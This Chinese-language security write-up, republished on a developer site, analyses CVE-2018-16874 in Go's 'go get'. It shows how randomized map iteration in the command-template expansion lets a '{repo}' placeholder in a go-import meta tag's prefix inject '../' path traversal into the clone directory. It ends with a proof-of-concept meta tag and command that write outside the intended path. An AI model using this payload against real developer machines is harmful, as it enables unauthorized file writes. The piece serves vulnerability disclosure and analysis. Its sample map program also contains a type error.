内容简介:这是一篇拖了很久的文起因是某次给 godoc.org 提交 RCE 后,突然好奇起同样机制的 go get 会不会也存在相似的洞于是便开始分析 go get 的内部实现,没想到意外的在另一处发现了一个有意思的洞
作者:ztz
这是一篇拖了很久的文
起因是某次给 godoc.org 提交 RCE 后,突然好奇起同样机制的 go get 会不会也存在相似的洞
于是便开始分析 go get 的内部实现,没想到意外的在另一处发现了一个有意思的洞
开始
go get
会根据 import path
获取指定依赖包到本地,对其进行编译和安装,如:
$ go get github.com/jmoiron/sqlx
go get
大概逻辑是这样(对应代码在 src/cmd/go/internal/get
我懒得贴了):
import path
而根据官方文档,如果 import path
未知, go
会尝试解析远程 import path
的 <meta>
标签:
If the import path is not a known code hosting site and also lacks a version control qualifier, the go tool attempts to fetch the import over https/http and looks for a tag in the document’s HTML
合法的 <meta>
标签格式为:
<meta name="go-import" content="import-prefix vcs repo-root">
各字段含义如下:
-
import-prefix
表示import path
的仓库根地址,当页面出现多个go-import
标签时go
就靠这个字段选择正确的标签 -
vcs
表示使用的版本控制系统如git
,hg
等 -
repo-root
表示仓库地址
Go
解析到正确的标签后,会做一些校验,其中一个是 import-prefix
必须是用户输入的 import path
的前缀,这个校验使我直接打消了在 import-prefix
中插入 ../
的想法(这是之前 godoc 那个洞的思路)
然后根据 vcs
代表的版本控制系统生成对应的实例:
rr := &repoRoot{ vcs: vcsByCmd(metaImport.VCS), repo: metaImport.RepoRoot, root: metaImport.Prefix, }
每种不同的实例都拥有统一的接口方法
type vcsCmd struct { name string cmd string // name of binary to invoke command createCmd string // command to download a fresh copy of a repository downloadCmd string // command to download updates into an existing repository tagCmd []tagCmd // commands to list tags tagLookupCmd []tagCmd // commands to lookup tags before running tagSyncCmd tagSyncCmd string // command to sync to specific tag tagSyncDefault string // command to sync to default tag scheme []string pingCmd string }
命令按照功能划分,具体执行的命令由底下的实例自己填充,如 git
:
var vcsGit = &vcsCmd{ name: "Git", cmd: "git", createCmd: "clone {repo} {dir}", downloadCmd: "fetch", tagCmd: []tagCmd{ // tags/xxx matches a git tag named xxx // origin/xxx matches a git branch named xxx on the default remote repository {"show-ref", `(?:tags|origin)/(\S+)$`}, }, tagLookupCmd: []tagCmd{ {"show-ref tags/{tag} origin/{tag}", `((?:tags|origin)/\S+)$`}, }, tagSyncCmd: "checkout {tag}", tagSyncDefault: "checkout origin/master", scheme: []string{"git", "https", "http", "git+ssh"}, pingCmd: "ls-remote {scheme}://{repo}", }
拿到实例后, Go
将其中的 import-prefix
, vcs
, repo-root
取出后:
rr, err := repoRootForImportPath(p.ImportPath) if err != nil { return err } vcs, repo, rootPath = rr.vcs, rr.repo, rr.root
直接交给实例 vcs
执行创建操作:
root := filepath.Join(p.Internal.Build.SrcRoot, filepath.FromSlash(rootPath)) if err = vcs.create(root, repo); err != nil { return err } vcs.create` 的目的是将远端 `repo` 克隆到本地 `root` 中,实现方法是调用 `vcs` 的 `createCmd func (v *vcsCmd) create(dir, repo string) error { return v.run(".", v.createCmd, "dir", dir, "repo", repo) } func (v *vcsCmd) run(dir string, cmd string, keyval ...string) error { _, err := v.run1(dir, cmd, keyval, true) return err }
前面说了,命令是每个实例自己负责填充的, Go
在这里自己实现了一套模版机制,它将命令看作模版,具体执行时,只要把模版里的变量和实际变量进行一次替换即可方便的生成命令,如 git
的 clone
命令:
createCmd: "clone {repo} {dir}",
替换方法是简单的 for
遍历替换:
func expand(match map[string]string, s string) string { for k, v := range match { s = strings.Replace(s, "{"+k+"}", v, -1) } return s }
命令执行是用 os.exec
直接将参数传给可执行文件,不存在参数污染的可能。
我只能把注意力放在表示克隆路径上,克隆的路径其实就是 <meta>
标签里的 import-prefix
,前面也说了, import-prefix
必须是用户输入 import-path
前缀,非但我不可能让用户输入 go get http://foo.bar/../../
, Go
也不允许 import-path
里出现非法字符,所以这里没什么操控空间。
也就是说 <meta>
标签里的三个可控字段都不好利用。
转机
当我正要放弃时,突然想到了 go
map
随机遍历的特性, map
结构在底层的实现是 HashTable
, key
的存储是 无序
的,所以在使用 map
时, key-value
的存入顺序和遍历顺序并不一致。
由于担心用户过于依赖 map
遍历的顺序,官方特意对 map
的遍历做了随机化处理,每次 map
进行遍历操作的顺序都不一样, Andrew Gerrand
在官方博客 https://blog.golang.org/go-maps-in-action
里详细说明了这一点:
When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next. Since the release of Go 1.0, the runtime has randomized map iteration order. Programmers had begun to rely on the stable iteration order of early versions of Go, which varied between implementations, leading to portability bugs. If you require a stable iteration order you must maintain a separate data structure that specifies that order. This example uses a separate sorted slice of keys to print a map[int]string
in key order:
简单写一个 map
遍历的程序来测试:
package main import "fmt" func main() { foobar := map[string]int{ "foo": "foo", "bar": "bar", } for k, v := range foobar { fmt.Println(k, ": ", v) } }
这是一个简单的 map
遍历代码,如果反复运行该程序,看到的输出顺序是这样的:
$ go run random_map.go bar : bar foo : foo $ go run random_map.go foo : foo bar : bar $ go run random_map.go foo : foo bar : bar
输出顺序是随机的,这种随机乱序遍历为我提供了绝处逢生的可能,如果命令模版在变量替换的过程中以我希望的顺序进行,我就可以配合模版变量搞一波事:
func expand(match map[string]string, s string) string { for k, v := range match { s = strings.Replace(s, "{"+k+"}", v, -1) } return s }
其中
-
match
中的key
为模版变量,value
为实际值,当前是{"dir": import-prefix, "repo": repo-root}
-
s
是命令模版clone {repo} {dir}
我若在 import-prefix
中放入 {repo}
,比如 https://foo.com/bar/{repo}
,再在 repo
里插入我的字符: https://foo.com/bar/../../../../../../../../../../tmp/pwn
,形成这样一个 match
:
{ "dir": "https://foo.com/bar/{repo}", "repo": "https://foo.com/bar/../../tmp/pwn" }
依靠 map
乱序遍历特性,找机会让 expand
先遍历替换 {dir}
再替换 {repo}
,就可以得到如下结果:
-
先替换
{dir}
得到clone {repo} https://foo.com/bar/{repo}
-
再替换
{repo}
得到clone https://foo.com/bar/../../tmp/pwn https://foo.com/bar/https://foo.com/bar/../../tmp/pwn
这么一来 ../
便被引入到了克隆目标路径里,一个艰难的任意目录写就出现了,利用 ../
可以进一步扩大战果,但这不是本篇的重点,就不赘述了。
利用
在自己的 web 服务器上设置返回以下内容:
<!DOCTYPE html> <html> <head> <meta name="go-import" content="ztz.me/linux/{repo} git https://ztz.me/../../../../../../../../../../tmp/pwn"/> </head> </html>
然后多次运行 go get ztz.me/linux/{repo}
就可以在人品爆发时触发利用(多试几次)
以上所述就是小编给大家介绍的《go get -v CVE-2018-16874》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
大数据大创新:阿里巴巴云上数据中台之道
邓中华 / 电子工业出版社 / 2018-11 / 99
阿里巴巴云上数据中台正服务着阿里生态中的数十个业务板块、百余家公司、千万级客户,在帮助决策层看清甚至决定业态走向的同时,在上万个业务场景中应用并催生创新。 《大数据大创新:阿里巴巴云上数据中台之道》基于作者在阿里巴巴的十年大数据从业经历,精彩演绎云上数据中台之道。《大数据大创新:阿里巴巴云上数据中台之道》基于大数据探索的大趋势,讲述阿里巴巴云上数据中台顶层设计,再以实际案例详述阿里巴巴云上数......一起来看看 《大数据大创新:阿里巴巴云上数据中台之道》 这本书的介绍吧!